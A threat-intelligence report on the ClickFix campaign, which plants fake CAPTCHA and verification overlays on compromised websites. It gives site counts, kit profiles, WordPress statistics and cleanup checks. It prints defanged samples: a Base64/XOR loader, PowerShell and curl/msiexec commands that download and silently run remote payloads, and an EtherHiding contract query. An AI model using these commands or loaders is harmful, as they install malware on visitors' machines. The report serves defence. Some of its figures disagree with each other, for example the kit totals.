ClickFix turns a real website into a malware lure.
ClickFix is a fake verification page injected into a legitimate website. It tells the visitor to paste a command into Windows Run or a terminal, and that command installs malware. Since 1 August we have matched ClickFix code on 58,468 sites.
ClickFix in numbers
Since 1 August, when our rule-match records begin, counted on 12 November 2026. How we count.
| Sites with ClickFix code | 58,468 |
|---|---|
| Sites with a match in the last 30 days | 32,869 |
| New sites in October | 16,499 |
| Still serving ClickFix when recaptured at least 25 days later | 18,929 of 22,877 sites (83%) |
| Sites running WordPress (captured since 25 September) | 81% |
| Named kits | 59 |
Kits compared
The 10 kits with the most sites in the last 30 days. All 63 kits are listed at the end of the page. One site can carry more than one kit. The last column counts sites recaptured at least 25 days after their first match, where there are at least 50.
| Kit | Last 30 days | All sites | First match | Still serving 25 days on |
|---|---|---|---|---|
| LenAI | 8,598 | 14,255 | 76% of 5,380 | |
| ChainBite | 8,049 | 10,869 | 85% of 3,853 | |
| GzipGnaw | 2,944 | 6,669 | 88% of 3,118 | |
| OverlayWar | 2,694 | 4,965 | 75% of 2,210 | |
| LA02 | 1,764 | 7,590 | 47% of 2,796 | |
| DriveSurge | 1,598 | 3,192 | 75% of 1,539 | |
| SmartApeSG | 1,597 | 2,242 | 96% of 1,063 | |
| BranchHop | 1,460 | 1,876 | 84% of 758 | |
| BW panel | 1,357 | 3,265 | 67% of 1,842 | |
| DoubleDonut | 1,309 | 2,263 | 77% of 1,007 |
What the infected sites run
31,624 of the 39,052 sites we captured since 25 September 2026 run WordPress (81%), and 3,289 sites run Joomla. Shares below are of the WordPress sites, by the version and plugins on each site's latest capture.
| WordPress version | Sites | Share |
|---|---|---|
| WordPress 7.1 | 18,115 | 57% |
| WordPress 7.0 | 3,329 | 11% |
| WordPress 6.9 | 2,154 | 7% |
| WordPress 6.8 | 1,308 | 4% |
| Other releases from 6.0 | 2,134 | 7% |
| Older than 6.0 | 1,180 | 4% |
| Rare or unreadable version | 3,404 | 11% |
| Plugin | Sites | Share |
|---|---|---|
elementor | 14,038 | 44% |
contact-form-7 | 8,710 | 28% |
elementor-pro | 6,749 | 21% |
woocommerce | 5,829 | 18% |
google-site-kit | 4,306 | 14% |
revslider | 3,929 | 12% |
wordpress-seo | 2,436 | 8% |
litespeed-cache | 2,290 | 7% |
elementskit-lite | 2,232 | 7% |
js_composer | 2,106 | 7% |
wordfence | 1,572 | 5% |
Smart contracts
16 of these kits read 131 contracts on Polygon, BNB Smart Chain testnet, Ethereum Sepolia, BNB Smart Chain, Ethereum and Base. Today they return 159 destinations.
Command hosts
The ClickFix commands we captured download from 346 hosts, 194 of them seen in the last 30 days.
From a normal page to a fake check
The attacker's code goes into the site itself. We find it at the top of every page of a WordPress site, appended to the end of a legitimate plugin script, or loaded by a backdoor plugin with a harmless name. One kit, DriveSurge, installs a plugin called "ganalytics-tracker". Another, BranchHop, loads a script named to look like WordPress core. In one case the code came from the site's own Cloudflare account: a malicious Zaraz action served it from the site's /cdn-cgi/zaraz/ path, so it looked like part of the site.
The injected code is nearly always wrapped the same way. It decodes a Base64 string, XORs every byte with a single key and runs the result as a new function. The key changes between builds, so the bytes on the page change too.
var blob = atob("..."); var key = 80;
for (var i = 0; i < blob.length; i++) bytes[i] = blob.charCodeAt(i) ^ key;
(new Function(new TextDecoder().decode(bytes)))();
The next step lives on a blockchain
Most current kits keep the address of their next stage in a smart contract. The loader asks for it with a read-only eth_call sent through public blockchain services, and decodes the reply. When the operator updates the contract, every site reading it moves to the new address at once, and nobody has to touch the sites. This technique is called EtherHiding.
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x2245...7D4A","data":"0xb68d1809"},"latest"],"id":1}
LenAI, BW panel and OverlayWar keep their addresses on Polygon. ChainBite and DoubleDonut use BNB Smart Chain, and NoChain uses Base. Each loader spreads its requests across eight to thirteen public RPC providers, so blocking those providers would break legitimate apps long before it stopped the kits. We read 189 registered EtherHiding contracts every day and add each new destination to the feed as it appears.
Who sees the lure?
Only the visitors the kit wants, so a site owner checking their own site often finds nothing. Kits skip anything that looks like a bot, and some skip visitors logged in to WordPress. LA02 reports the visitor's mouse movements, clicks and focus to its controller before it returns any code, then sets a three-day cooldown so the same person never sees the lure twice. VerifyFork checks a stored verified expiry, browser versions and automation markers before requesting controller JSON. That reply chooses between running a script and redirecting with the site's hostname and favicon encoded in the URL.
The fake check and the command
The lure covers the page with a fake Cloudflare Turnstile box, a reCAPTCHA, a "device verification" prompt, a browser error or a blue screen. BW panel carries nine presentation modes, from browser to mac_cloudflare, and its panel picks one for each visitor. The overlay usually sits in a closed shadow DOM or a full-screen frame with clipboard access, out of reach of the site's own styles. FrameFinger uses a full-screen iframe, sends it the current page address through a SITE1_URL message and loads a ROT13-encoded fake Cloudflare check inside it.
While the visitor reads it, the page writes a command to their clipboard. The instructions are short: press Win+R, press Ctrl+V, press Enter. Mac visitors are told to paste into Terminal. A typical command starts PowerShell with a hidden window, downloads the next script and runs it, and ends with a fake "Verification ID" comment so it looks official:
powershell -w h "iex(irm 'hxxps://[host]/[16 hex]' -UseBasicParsing)"; exit <#Verification ID: [16 hex]#>
Other kits use mshta, msiexec, regsvr32 or the Windows finger command, and the Mac versions download a shell script with curl and pipe it to bash. A kit on cloned travel and news sites copies curl -gkso %TEMP%\wud.msi hxxps://update.neewsoo[.]com/dl/kb[number].msi && msiexec /i %TEMP%\wud.msi /qn, an installer named like a Microsoft KB update and installed without a window. FrameFinger copies a command that splits finger with carets and runs the returned text through a Windows command loop. Some hide the command until the click: Birdeye keeps it as seven arrays of character codes and assembles it only when the visitor ticks the box. Our scanner records the command as the page writes it and decodes the layers around it, so the download address goes into the feed even when the visitor never pastes anything.
Kits also fight over the same sites. We have seen a WordPress page carrying several separate ClickFix blocks, and OverlayWar ships a script whose job is to remove other kits' overlays before showing its own.
What we see across infected sites
We matched ClickFix on 10,405 sites in August. New sites since then:
| Month | New sites |
|---|---|
| September | 26,581 |
| October | 16,499 |
| November so far | 4,983 |
81% of the infected sites we captured since 25 September run WordPress. Of those, 57% run WordPress 7.1. Their plugin lists put Elementor, Contact Form 7 and WooCommerce at the top. Wordfence is installed on 1,572 of them.
Of the 22,877 sites recaptured at least 25 days after their first match, 18,929 were still serving ClickFix (83%).
Checking a site
Look at the site the way a stranger would: logged out, in a private window, from a network you do not normally use. Then check for things you did not put there:
- a plugin that runs on the site but is missing from the WordPress plugin list
- script tags loading
/t.js?site=,mpackage.js,smpackage.jsor a file named likewp-core-js - a
site_repair_stateentry in the browser's local storage - Zaraz actions in your Cloudflare dashboard that nobody on your team created
Change admin passwords, hosting account passwords and Cloudflare API tokens after cleaning up.
Kits
LenAI
8,598 sites in the last 30 days
LenAI is a packed ClickFix loader that reads its controller from a Polygon smart contract.
ChainBite
8,049 sites in the last 30 days
ChainBite is a ClickFix kit that stores each stage of its attack in a different BNB Smart Chain testnet contract.
GzipGnaw
2,944 sites in the last 30 days
GzipGnaw is a ClickFix loader that stores its next stage encrypted and compressed in an Ethereum Sepolia contract.
OverlayWar
2,694 sites in the last 30 days
OverlayWar is a ClickFix kit that reads its staging host from Polygon contracts and deletes other kits' overlays before showing its own.
LA02
1,764 sites in the last 30 days
LA02 is a loader that removes itself from the page after it runs and only sends code to visitors who pass a handshake with its controller.
DriveSurge
1,598 sites in the last 30 days
DriveSurge is a ClickFix kit delivered by a fake WordPress analytics plugin, ganalytics-tracker.
SmartApeSG
1,597 sites in the last 30 days
SmartApeSG is a ClickFix campaign that hides a script in a Joomla menu link.
BranchHop
1,460 sites in the last 30 days
BranchHop is a WordPress injection that loads a ClickFix bootstrap from a rotating pool of controllers.
BW panel
1,357 sites in the last 30 days
BW panel is a ClickFix kit that finds its control panel through Polygon contracts and lets the panel choose one of nine lures for each visitor.
DoubleDonut
1,309 sites in the last 30 days
DoubleDonut is a ClickFix kit that plants a loader on WordPress sites and reads its next script from a BNB Smart Chain testnet contract.
NoChain
1,214 sites in the last 30 days
NoChain is a ClickFix kit that keeps its scripts and its lure page inside a smart contract on Base, loaded by a fake WordPress plugin.
SkinFrame
896 sites in the last 30 days
SkinFrame is a ClickFix kit that hides the page and frames a fake check over it, picking a design for each visitor's platform.
SocGholish
748 sites in the last 30 days
SocGholish, also called FakeUpdates, is a browser-update lure delivered through compromised websites.
EmbedShade
717 sites in the last 30 days
EmbedShade is a ClickFix loader that opens a full-screen security-check iframe from an external controller.
XorVeil
692 sites in the last 30 days
XorVeil is a fake Cloudflare overlay that XOR-decodes its clipboard command and controller.
KongTuke
430 sites in the last 30 days
KongTuke fingerprints each visitor before loading a clipboard-capable ClickFix frame.
TableFrame
406 sites in the last 30 days
TableFrame is a ClickFix loader that encodes a browser fingerprint before fetching and inserting its landing page.
Lnkr
298 sites in the last 30 days
Lnkr is an affiliate redirector loaded as a third-party website script.
TxtRelay
262 sites in the last 30 days
TxtRelay is an injected loader that reads its next script address from a DNS TXT record.
FrameFinger
207 sites in the last 30 days
FrameFinger is a ClickFix kit that puts a remote verification page in a full-screen iframe and copies a finger command.
PixelSplice
204 sites in the last 30 days
PixelSplice is a ClickFix staging loader that extracts JavaScript hidden inside a PNG response.
ShieldBeaver
158 sites in the last 30 days
ShieldBeaver is a ClickFix kit that frames a fake Cloudflare check over a WordPress site and keeps its command on the visitor's clipboard.
ClockTail
109 sites in the last 30 days
ClockTail is a ClickFix page that turns ordinary controls into a fake Cloudflare check and fetches clipboard text when the visitor clicks.
SessionLatch
95 sites in the last 30 days
SessionLatch is a gated script injector that can appear across several WordPress assets in one visit.
CLEARSHORT
93 sites in the last 30 days
CLEARSHORT is the JavaScript downloader Google's threat intelligence group attributes to UNC5142, and the successor to ClearFake.
AdminShade
77 sites in the last 30 days
AdminShade is a WordPress visitor gate that hides from administrators and opens a timed remote iframe.
CheckBot
62 sites in the last 30 days
CheckBot is a fingerprint gate injected into Joomla menu markup.
GuardFrame
62 sites in the last 30 days
GuardFrame is a rogue WordPress plugin whose full-screen ClickFix frame checks its parent, locks the page and suppresses competing overlays.
OfferLodge
61 sites in the last 30 days
OfferLodge is a website traffic loader that resolves a remote landing and covers the compromised page with it.
TwinKey
56 sites in the last 30 days
TwinKey is a two-key wrapper whose decoded stage reads a script host from Polygon.
VerifyFork
56 sites in the last 30 days
VerifyFork is a ClickFix loader that takes a script or redirect address from controller JSON.
CookieDam
44 sites in the last 30 days
CookieDam is a footer-injected loader that adds remote HTML to a compromised page.
DesignerLink
42 sites in the last 30 days
DesignerLink is a visitor-selection loader that injects a remotely chosen campaign script.
EnvelopeDam
24 sites in the last 30 days
EnvelopeDam is an injected website loader that reads a controller from Polygon and unwraps a page-specific encrypted stage in the browser.
ProxySig
22 sites in the last 30 days
ProxySig retrieves code through a same-origin contract relay and executes the Base64 response.
PrankLodge
15 sites in the last 30 days
PrankLodge is a Windows-only fake reCAPTCHA that repeatedly copies an MSI install command and keeps the visitor in a failed verification loop.
StopAndProtect
9 sites in the last 30 days
StopAndProtect is an operation named by Check Point Research whose website chain starts with a fake CAPTCHA and copied PowerShell.
TimberCheck
6 sites in the last 30 days
TimberCheck is a localized fake verification kit that carries several command branches in one page design.
PolyTDS
5 sites in the last 30 days
PolyTDS is an obfuscated loader that reads its next script host from Polygon.
DualPrompt
3 sites in the last 30 days
DualPrompt is a localized fake Cloudflare verification page with separate clipboard commands and instructions for Windows and macOS.
StatusTail
3 sites in the last 30 days
StatusTail is a fake reCAPTCHA injected through a WordPress snippet.
DigitalFlwr
2 sites in the last 30 days
DigitalFlwr is a ClickFix loader that resolves a remote lure, covers the compromised page with it and copies text sent by the frame.
TripleGnaw
2 sites in the last 30 days
TripleGnaw is a packed website loader that reads JavaScript from a BNB Smart Chain testnet contract and opens a WebSocket for its next stage.
ImageGnaw
1 site in the last 30 days
ImageGnaw is a packed image-selection lure embedded in a compromised page.
InstallerBeaver
1 site in the last 30 days
InstallerBeaver is a fake Cloudflare check that copies a PowerShell command for a silent MSI install.
JokerStat
1 site in the last 30 days
JokerStat is a ClickFix tracker and loader that records page activity, sends screenshots and runs browser code returned by its controller.
QuietChisel
1 site in the last 30 days
QuietChisel is a static fake Cloudflare verification page that places an assembled PowerShell command on the clipboard.
SplashLodge
1 site in the last 30 days
SplashLodge is a WordPress splash page that copies a hidden PowerShell command from a fake Cloudflare check.
TestnetTail
1 site in the last 30 days
TestnetTail is a website loader that resolves its HTML source through a BNB Smart Chain testnet contract.
TokenTooth
1 site in the last 30 days
TokenTooth is a fake Cloudflare check that creates its own challenge token and copies a command when the visitor clicks its checkbox.
AuthGnaw
0 sites in the last 30 days
AuthGnaw is a fake Cloudflare page that copies a Windows curl command and then displays Run-dialog steps.
Birdeye
0 sites in the last 30 days
Birdeye is a ClickFix lure that builds its command from char-code arrays and puts it on the clipboard from a fake Cloudflare check.
ConfigGnaw
0 sites in the last 30 days
ConfigGnaw is a verification page whose clipboard command comes from a same-origin config endpoint.
EncodedGnaw
0 sites in the last 30 days
EncodedGnaw is a Cloudflare-styled verification page that delays its clipboard copy, then gives the visitor Windows Run steps.
FrameGnaw
0 sites in the last 30 days
FrameGnaw is a fake reCAPTCHA application held inside a full-screen inline frame.
HashTail
0 sites in the last 30 days
HashTail is a fake reCAPTCHA lure that puts a hidden PowerShell command and a matching four-digit verification hash on the clipboard.
MinuteMunch
0 sites in the last 30 days
MinuteMunch is a fake verification page with a timed Win+R paste prompt.
MonitorMolar
0 sites in the last 30 days
MonitorMolar is a fake Cloudflare verification page that copies a PowerShell scriptblock command and tells desktop visitors to open an administrator terminal.
PatchBeaver
0 sites in the last 30 days
PatchBeaver is a fake Chrome update page that turns its verification checkbox into a ClickFix prompt.
PopupPond
0 sites in the last 30 days
PopupPond is a fake reCAPTCHA page that copies an MSI installer command before its instruction popup appears.
ShadowLodge
0 sites in the last 30 days
ShadowLodge is a fake browser check built inside declarative Shadow DOM, with inline-command and remote-text variants.
TelegramTail
0 sites in the last 30 days
TelegramTail is a fake Microsoft verification page that copies an MSI command and reports the visitor through the Telegram Bot API.
TwinTail
0 sites in the last 30 days
TwinTail is a cross-platform verification lure with separate Windows and macOS commands.